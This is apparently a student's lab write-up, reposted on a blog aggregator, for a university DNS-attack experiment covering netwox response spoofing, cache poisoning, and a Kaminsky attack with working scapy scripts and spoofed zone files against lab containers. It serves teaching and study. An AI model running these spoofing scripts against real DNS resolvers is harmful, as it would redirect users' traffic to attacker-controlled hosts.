【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

这篇具有很好参考价值的文章主要介绍了【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

写在最前:
这是我个人的实验记录,实现方式有很多种,多台虚拟机更容易做netwox。
认真整理和记录了一下容易出问题的地方。
代码仓库开了。

涉及代码的仓库地址

HUST计算机网络安全实验_Gitee
Github

计算机网络安全实验二

DNS协议漏洞利用实验

docker使用

建立实验环境

普通用户: seed 密码:dees
超级用户:root 密码:seedubuntu

Network(bridge):10.10.10.0/24:

sudo docker network create --subnet=10.10.10.0/24 dnsnetwork

创建dns(注意创建docker的时候不要写privileged):

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

创建user:

sudo docker run -it --name=user --hostname=user --net dnsnetwork --ip=10.10.10.3 "seedubuntu" /bin/bash

创建dns:

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

我的ip:

Attacker:10.10.10.1
dns:10.10.10.2
user:10.10.10.3
网卡:br-29c63b220f5a
docker常用指令

打开或停止HostM:

sudo docker start/stop HostM

把HostM映射到bash中:

sudo docker exec -it HostM /bin/bash

查看当前docker有哪些:

sudo docker ps -a

关闭防火墙:

sudo iptables -F

主机和容器之间拷贝数据:

sudo docker cp 容器名称:路径 主机路径
sudo docker cp 主机路径 容器名称:路径

一些注意事项

  1. 每次重启之后,/etc/resolv.conf会被改成原来的内容。
  2. 修改BIND9的配置后,可以运行sudo rndc flush测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused报错时,先试着重启BIND9服务,再找找bind9的配置项是否出错,改回默认配置,把错误纠正。如果不是配置问题,就运行sudo named -d 3 -f -g检查错误信息。注意,named指令会导致DNS缓存一直无条目,不要在做后面的实验时用。
  3. 配置项相关文件的权限最好都设置成可读可写,还有/etc/bind/rndc.key
  4. DNS服务器中出现不想要的缓存的时候,可以用rndc flushname xxx.com清除。免得等半天。
  5. DNS远程攻击的时候,如果修改了攻击机上的配置,最好是把DNS服务器的缓存清空,然后两个机子的BIND9服务都重启,否则DNS缓存刷新不及时,妨碍后续攻击。具体咋回事多dumpdb看看DNS缓存就行。
  6. 服务器返回icmp报文说端口不可达,原因可能是服务器的bind9未启动,服务器运行service bind9 start
  7. 如果碰到下图这种解析成UDP包的,不要慌!只是Wireshark显示异常,仅此而已,你去服务器里边dumpdb一点问题没有!
    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

设置本地 DNS 服务器

配置用户计算机

修改user主机的/etc/resolv.conf文件,将服务器IP添加 为文件中的第一个 nameserver 条目,即此服务器将用作主 DNS 服务器,如下图所示:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

完成配置用户计算机之后,使用 dig 命令获取任意网址的 IP 地址,可以看到回应来自于10.10.10.2。 如下图:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

即user的配置成功。

设置本地DNS服务器

编辑/etc/bind/named.conf.options:确认①dump-file "/var/cache/bind/dump.db";;②dnssec-validation auto被注释,dnssec-enable是no(关闭DNSSEC);③端口号设置好。如下图所示,打开的时候已经配置好了:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

重启DNS服务器:

sudo service bind9 restart

然后再运行提权指令减少一些报错:

sudo chmod 777 /var/cache/bind/dump.db # 提高缓存文件的权限
sudo chmod 777 /etc/bind/rndc.key # 提高rndc的权限

服务器常用指令:

sudo rndc dumpdb -cache # 将缓存转储到特定文件
sudo rndc flush # 清除DNS缓存

在用户机上运行ping指令测试:

ping www.baidu.com

在Wireshark上查看ping命令触发的DNS查询。

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

前期发送了大量的DNS查询报文,递归查询。(对应蓝色部分)
当ping通之后,不需要再进行DNS查询,因此直接从缓存中读取IP地址。(对应的是连续的粉红色部分)

在本地 DNS 服务器中建一个区域
  1. 创建区域:在dns中编辑/etc/bind/named.conf.default-zones,添加:

    zone "example.com" {
         type master;
         file "/etc/bind/example.com.db";
    };
    zone "0.168.192.in-addr.arpa" {
         type master;
         file "/etc/bind/192.168.0.db";
    };
    
  2. 把文件从主机中移动到docker中:

    sudo docker cp 192.168.0.db dns:/etc/bind/ # 正向查找区域文件
    sudo docker cp example.com.db dns:/etc/bind/ # 反向查找区域文件
    
  3. 重新启动BIND服务器:

    sudo service bind9 restart
    

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

  4. 用户机运行dig www.example.com进行测试授权域配置:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    观察IP地址,与设置的一样。

  5. 用户机运行dig www.baidu.com进行测试非授权域配置:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    对于非授权域域名,也能够成功获得相应信息。

    实验环境配置完成。

修改主机文件(可略)

修改/etc/hosts文件,添加:

1.2.3.4 www.bank32.com

用dig命令测试结果,发现修改主机文件确实不影响对www.bank32.com文件解析,如下图所示:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

用ping命令测试修改结果,确实影响了,如下图所示:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

用Web浏览器测试结果,这个需要到seed@VM中检验。因此把seed@VM的/etc/hosts也修改一下,测试结果如下。

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

如上图所示,解析的DesIP被修改成1.2.3.4。

netwox可参考:DNS攻击 - Wsine - 博客园 (cnblogs.com),基本上就是实验内容。

netwox实施DNS的用户响应欺骗攻击

攻击指令:

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.3" --device "br-29c63b220f5a"

攻击的是user,注意一定要加上–device 网卡,否则filter参数会失效。

运行攻击指令,并在用户机上dig news.youtube.com触发。

在攻击机上可以看到伪造的响应:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

在user上查看回应,与伪造的一致:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

观察到得到错误的DNS返回,并且显示为指定的IP地址,也返回了查询网址的权威域名及其IP地址。结果符合预期,攻击成功。

令攻击机停止攻击,再次dig news.youtube.com,在user上显示:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

此时返回的结果与真实结果一致。
说明攻击的确实是DNS的用户响应,不影响DNS服务器的正常请求。

netwox实施DNS的缓存中毒攻击

在攻击机上运行:

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.2" --device "br-29c63b220f5a" --spoofip "raw" --ttl 600

意思是设置DNS响应包域名news.youtube.com对应IP地址为101.102.103.104,权威名称服务器ns.youtube.com对应的IP地址为55.66.77.88。

攻击的是DNS服务器的缓存,ttl生存时间代表缓存留存在DNS服务器上的时间600(秒)。spoofip参数选择raw,否则netwox将对被欺骗的IP地址也进行MAC地址欺骗,因为ARP查询响应的等待时间问题,实验有可能失败。

实际上,就算加了参数,在docker上做实验,但是在三台虚拟主机上做实验就必成功(亲测),还是有很大的可能失败

以下是难得成功的一次截图。

  1. 首先清空DNS缓存:

    sudo rndc flush
    
  2. 为了提高攻击的成功率,添加对外访问的时延如下(其实就是DNS服务器对外访问慢一点,保证它优先收到攻击机的回应):

    sudo tc qdisc add dev br-29c63b220f5a root netem delay 1s
    
  3. 运行攻击命令,用dig news.youtube.com触发:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    观察到,攻击机成功嗅探到DNS服务器向上发出的DNS请求包,并伪造上层DNS服务器向其发送回复报文。

    在user上dig指令的结果:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    观察到IP地址、权威域名服务器地址被修改成期望的地址。

    同时用Wireshark抓包,得到如下结果:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    观察到,攻击机比真实DNS服务器提前一步发送DNS响应,从而导致DNS缓存中毒。

    转储并查看DNS服务器缓存,如下:

    sudo rndc dumpdb -cache
    sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack"
    

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

  4. 停止攻击后,再次用dig进行域名查询,观察到返回的结果与上述结果一致:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    可以通过时间、TTL来判断,确实是攻击前后发的两次不同的查询。

DNS缓存中毒成功。

scapy实施DNS缓存中毒攻击

针对授权域Authority Section和附加域Additional Section的攻击脚本:

该脚本既将授权域改成了attacker32.com,也将附加域修改了。

from scapy.all import *

def spoof_dns(pkt):
  #pkt.show()
  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5')

    # The Authority Section
    NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
    NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com')

    # The Additional Section
    Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
    Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53 and src host 10.10.10.2', prn=spoof_dns)
  1. 运行攻击脚本,在user上使用dig www.example.net命令激发DNS查询,攻击脚本运行如下图:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

  2. user上返回结果如下图:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    与攻击脚本一致,授权域和附加域都被修改了。

  3. 同时查看Wireshark的抓包结果,观察到发送的伪造报文:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

  4. 转储并查看DNS服务器缓存,结果如下:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    观察到,没有attacker32.cn的缓存记录,这是因为attacker32.cn没有出现在授权域中。

  5. 停止攻击后,再次用dig进行域名查询,观察到返回的结果与上述结果一致:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    可以通过时间、TTL来判断,确实是攻击前后发的两次不同的查询。

    DNS缓存中毒成功。

  6. 此时使用dig mail.example.net命令进行查询,根据Wireshark抓包结果得知,当再次进行相同域的DNS查询时,会首先对在缓存中的NS条目指定的域名服务器进行查询,如下图:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    因此,对附加域的攻击也是成功的。

这是我参考过的博客(实验指导书其实已经写得很详细了):
主要参考:DNS 缓存中毒–Kaminsky 攻击复现。

远程 DNS 缓存中毒攻击-Kaminsky

实验环境配置
  1. 在dns中编辑/etc/bind/named.conf.default-zones,注释掉之前配置的example.com区域。并添加假域名去展示实验效果:

    zone "ns.ssd.net" {
         type master;
         file "/etc/bind/ssd.net.db";
    };
    
  2. 在dns中添加文件/etc/bind/ssd.net.db,并将以下内容放入其中:

    $TTL 604800
    @ IN SOA localhost. root.localhost. (
    	2 ; Serial
    	604800 ; Refresh
    	86400 ; Retry
    	2419200 ; Expire
    	604800 ) ; Negative Cache TTL
    @ IN NS ns.ssd.net.
    @ IN A 10.10.10.1
    ns IN A 10.10.10.1
    * IN A 10.10.10.1
    

    其中ns.ssd.net修改成自己的假域名,10.10.10.1修改成攻击机的IP。

在用户机上运行ping ns.ssd.net测试是否配置成功:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

如图,已经配置成功了。

  1. 在攻击机中配置DNS服务器,去回答example.com的查询。在攻击机中编辑/etc/bind/named.conf添加以下内容:

    zone "example.com" {
            type master;
            file "/etc/bind/example.com.zone";
    };
    

    然后创建文件/etc/bind/example.com.zone,添加以下内容:

    $TTL 3D
    @ IN SOA ns.example.com. admin.example.com (
    	2008111001
    	8H
    	2H
    	4W
    	1D )
    @ IN NS ns.ssd.net.
    @ IN A 1.1.1.1
    www IN A 1.1.1.2
    ns IN A 10.10.10.168
    * IN A 10.10.10.17
    

    注意:在配置完攻击机和服务机之后,可以运行sudo rndc flush测试一下。当遇到rndc: connect failed: 127.0.0.1#953: connection refused报错时,说明bind9的配置项出错,此时可以找找改了哪里,把错误纠正。

    等到攻击成功后,www.example.com对应的是1.1.1.2

  2. 将之前实验添加的网络时延规则删除:

    sudo tc qdisc del dev br-29c63b220f5a root 
    
  3. 其他配置不变。刷新缓存,重启dns和攻击机上的DNS服务器:

    sudo rndc flush
    sudo service bind9 restart
    

    在user上多次运行dig www.example.com,直到得到结果:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    如果能得到结果,说明环境配置成功。

    观察返回的信息,可以知道www.example.com的远程请求过程:①user向dns发起询问,DNS服务器依次查询;②先查到根域名服务器的地址;③再通过根域名服务器得到.com顶级域名服务器的地址;④再通过.com顶级域名服务器查询得到example.com权威域名服务器的地址;⑤通过询问example.com权威域名服务器,得到www.example.com的IP地址为93.184.216.34。

攻击原理

当dns中已经有example.com的缓存信息时,它不再从根域名服务器查起,而是直接询问example.com。攻击机可以想Apollo发送伪造的响应,比真正的example.com先一步到达dns即可。

但是由于dns缓存有较长时间,攻击机想要等待服务器主动发起对指定域名的DNS请求需要时间。Dan Kaminsky提出了一种攻击方法去避免这个问题,该方法的步骤是:

①攻击者查询example.com随机的不存在的名称;
②dns服务器缓存中没有这一域名,因此向example.com发起请求;
③攻击机针对请求发送DNS欺骗流,不仅为该域名提供Answer,还将ns.姓名.net作为example.com域的权威域名服务器,从而破坏缓存。

攻击过程

为了提高攻击成功率,再次添加时延(建议少加点):

sudo tc qdisc add dev br-29c63b220f5a root netem delay 100ms

注:如果wireshark看到dns服务响应很慢,别加了。如果外网响应太快死活攻击不成功,多加点。

两个攻击脚本:

伪造请求包和响应包的python程序general_dns.py:

from scapy.all import *
import string
import random

# random name
name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com' 
print(name)
Qdsec = DNSQR(qname=name)

# query
ip_q  = IP(dst='10.10.10.2',src='10.10.10.1') # dst: dns; src:attacker
udp_q = UDP(dport=53,sport=33333,chksum=0)
dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
pkt_q= ip_q/udp_q/dns_q

# reply
ip_r = IP(dst='10.10.10.2', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
 # The Authority Section
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.ssd.net')
Addsec = DNSRR(rrname='ns.ssd.net', type='A', ttl=259200, rdata='10.10.10.1')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r

with open('query.bin','wb')as f:
  f.write(bytes(pkt_q))
with open('reply.bin', 'wb') as f:
  f.write(bytes(pkt_r))

其中响应包的id要随机生成,发送从0~ffff号的所有报文来进行DNS欺骗。

用bless查看构造的reply.bin的二进制,找到id的偏移地址:

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

偏移量为0x1c,十进制为28。

攻击程序dns_attack.c的编写逻辑:

  1. 每轮循环开始,先运行一次伪造请求包和响应包的python程序;
  2. 打开query.binreply.bin,写入缓存区。
  3. 发送DNS请求包;
  4. 修改reply.bin的dns序列号,从1000~65535(观察了一下,发包速度相当快,可以支持多发一些包),转换成大端字节序再写入(也可以不转)。并重新计算dns的chksum。
  5. 依次发送这些DNS响应包。再回到1重新循环。

发包的C程序dns_attack.c:

程序在Gitee里,放这里显示会出错。

编译程序的方式:

gcc -lpcap dns_attack.c -o dns_attack
  1. 编译并运行发包攻击程序,过一会儿在dns上转储cache,运行:

    sudo rndc dumpdb -cache
    sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack|ssd"
    

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    可以看到example.com现在对应的是ns.ssd.net,其他的被注释掉了,IP也解析成攻击目标了,相当成功。

    再观察一下Wireshark的报文:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    能看到伪造的随机请求包,也可以看到服务器收到伪造的请求包,开始主动向权威域名服务器请求,还可以看到伪造的序号顺序的响应。

    如果,①伪造的请求包、②服务器向权威域名服务器的请求包,以及③伪造的回应包、④真实权威域名服务器的回应包,有任一无法找到,则说明攻击结果异常,请具体情况具体分析,不要一味攻击。
    正常情况,在序列号从10000到65535的欺骗中,有约85%的几率一次攻击成功。
    最多攻击5次,即可停下。如果Ctrl+C无法中止程序,请用ps -a查看进程号,再kill 进程号,终止程序。
    注:在发起攻击之前,清空DNS缓存、使用用户机dig www.example.com拿到IP(使服务器中具备权威域名服务器的缓存),将会节省DNS服务器向根域名服务器询问权威域名服务器的时间,从而减少攻击的时长。【如果不提前dig就直接攻击,攻击过程中持续看cache,刷出来example了就停下,有85%的几率可以得到一个完全没有真实权威域名服务器cache记录的结果,我愿称之为完美】

    只要序号符合0xe0fa,并且比真实服务器早,就可以攻击成功。

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    过滤10.10.10.1的报文,除了这些报文以及服务器的主动请求之外,其他的报文就是攻击机伪造的请求。可以看到攻击成功的可能性很大。

    注意:已经攻击完成后,一定要及时中止dns_attack程序。我在已经集齐所有完美的实验现象之后,忘记中止攻击程序,然后发送了过多的攻击报文,我自己的sock崩溃了。随后虚拟机内存不够,自动关机重启,还好我有快照,否则我也会崩溃了。

  2. 此时在用户机上运行dig www.example.comdig abcd.example.com去测试:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    可以看到,域名成功地被解析成预期值1.1.1.2了!

    然后随便攻击一个example.com域的域名,也可以成功解析成预期值:

    【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

    因此攻击成功。

不点个赞再走嘛!?文章来源地址https://www.toymoban.com/news/detail-441330.html

到了这里,关于【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全引言(网络安全概述、计算机安全、OSI安全体系、网络安全模型)

    1.1 网络中的“安全”问题 信息安全经历两大变革: 从物理和管理方法 转变成 自动化工具保护信息安全 终端普遍使用 网络传输数据并保证数据安全 网络中的“安全”问题 监听 截获 篡改 假冒 假冒网点 Email截取 否认 1.2 网络安全定义 网络安全是一个跨多门学科的综合性科

    2024年02月19日
    浏览(53)
  • 计算机网络安全的背景

    虽然传统的计算机发展和当今的电子商务不同,但是不可否认网络已经成 为非常重要的信息和数据互换交换的平台。但是随着网络不断发展渗透到人们的日 常生活、手机终端、交易支付等环节时,网络安全已经成为一个焦点和不可逾越的 发展鸿沟。尽管目前网上支付安全方

    2024年02月10日
    浏览(41)
  • 0121-1-计算机网络安全

    1.Get 和 Post 的区别 结构 :get 有请求体,post没有请求体 应用场景 :get 用于获取数据,post用于提交数据; 缓存 :get 的缓存保存在浏览器和web服务器日志中; 传输方式 :get 使用明文传输,post请求保存在请求体中; 请求长度 :get 长度限制在2kb以内。 2.常见的HTTP请求 get、

    2024年01月24日
    浏览(52)
  • 【网络安全】1.2 计算机网络基础

    计算机网络是一个非常大的主题,但在我们开始深入探讨网络安全之前,我们需要理解一些基本的概念和原理。本章将涵盖计算机网络的基本概念,包括网络的类型,网络的工作原理,以及一些常用的网络技术和协议。 计算机网络是由两台或更多的计算机组成的系统,这些计

    2024年02月07日
    浏览(55)
  • 【吃透网络安全】2023软考网络管理员考点网络安全(三)计算机系统安全评估

    计算机系统安全评估准则,计算机系统安全评估历史,软考网络管理员常考知识点,软考网络管理员网络安全,网络管理员考点汇总。 后面还有更多续篇希望大家能给个赞哈,这边提供个快捷入口! 第一节网络管理员考点网络安全(1)之安全基础 第二节网络管理员考点网络

    2024年02月13日
    浏览(51)
  • 计算机网络安全——密码学入门

            网络安全是指在网络领域、专业领域的网络安全包括在基础计算机网络基础设施中所做的规定,网络管理员采取的策略来保护网络及网络可访问资源免受未经授权的访问,以及对其有效性(或缺乏)的持续不断的监控和测量的结合。 1.1.1 保密性         只有授

    2024年01月19日
    浏览(52)
  • 计算机网络安全基础知识复习

    计算机安全: 对于一个自动化的信息系统,采取措施确保信息系统资源(包括硬件、软件、固件、信息数据和通信)的完整性,可用性和保密性。 目标/服务: 认证;访问控制;数据保密性;数据完整性,不可否认性,可用性. 安全攻击 :任何危及信息系统安全的行为。 安全机

    2024年02月09日
    浏览(48)
  • 网络空间安全及计算机领域常见英语单词及短语——网络安全(一)

    Cybersecurity 网络安全 Network security 网络安全 Information security 信息安全 Data protection 数据保护 Threat analysis 威胁分析 Risk assessment 风险评估 Intrusion detection system (IDS) 入侵检测系统 Intrusion prevention system (IPS) 入侵防御系统 Malware detection 恶意软件检测 Vulnerability assessment 漏洞评估 Ac

    2024年02月07日
    浏览(44)
  • SZU计算机安全导论(网络安全)线下期末考试复盘

    刚刚考完计算机安全导论,之前复习的时候发现网上几乎没有找到复习的内容,而且考试内容又很杂(差点复习不完啦),所幸这次考试内容比较简单,现在凭借印象把大题内容分享出来。 比较基础,就不细说啦(可以看看uooc里面的题目) (1)求欧拉函数值 (2)已知e,求

    2024年02月02日
    浏览(50)
  • 网络安全入门学习第九课——计算机网络基础

    1.1、公网地址的范围 A类:地址范围1.0.0.0~127.255.255.255,主要分配给主机数量多、局域网数量少的大型网络; B类:地址范围为128.0.0.0至191.255.255.255,一般为国际大公司及政府机构使用; C类:地址范围为192.0.0.0至223.255.255.255,为一般小型公司校园网研究机构; 1.2、私网地址的范围 A类

    2024年02月08日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包